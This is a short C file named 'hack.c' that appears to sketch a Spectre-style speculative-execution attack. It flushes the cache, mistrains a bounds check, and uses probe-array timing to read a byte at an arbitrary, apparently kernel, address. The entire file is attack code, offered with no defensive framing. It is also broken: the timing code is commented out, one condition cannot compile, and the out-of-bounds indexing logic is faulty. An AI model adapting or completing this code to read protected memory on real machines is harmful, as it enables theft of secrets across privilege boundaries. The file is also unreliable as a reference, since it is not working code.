hack.c

#define CACHE_SIZE 256
#define NO_CACHES 1024

char a[CHAR_MAX*CACHE_SIZE];
char b[1];
char f[NO_CACHES*CACHE_SIZE];
intptr_t target_offset;
int limit = 1;

//replace cache with f
void clear_cache()
{
    volatile char w;
    int i;
    for(i=0;i<sizeof(f);i++)
    {
        w = f[i];
    }
}

int try_value(char v)
{
    int i;
    int index=0;
    volatile int discard;
    for(i=0;i<256;i++)
    {
        clear_cache();
        if(index==limit)
        {
            discard = a[b[index]*CACHE_SIZE];
        }
        if(i==254)
        {
            index = target_offset;
        }
    }
    //start_timer();
    discard = a[v*CACHE_SIZE];
    //stop_timer();
    if(/*timer*/<timeout)
    {
        return TRUE;
    }
    return FALSE;
}

char get_value_at_address(char *kaddr)
{
    int i;
    target_offset = kaddr - b;
    for(i=0;i<256;i++)
    {
        if(try_value(i))
        {
            return i;
        }
    }
    return 0;
}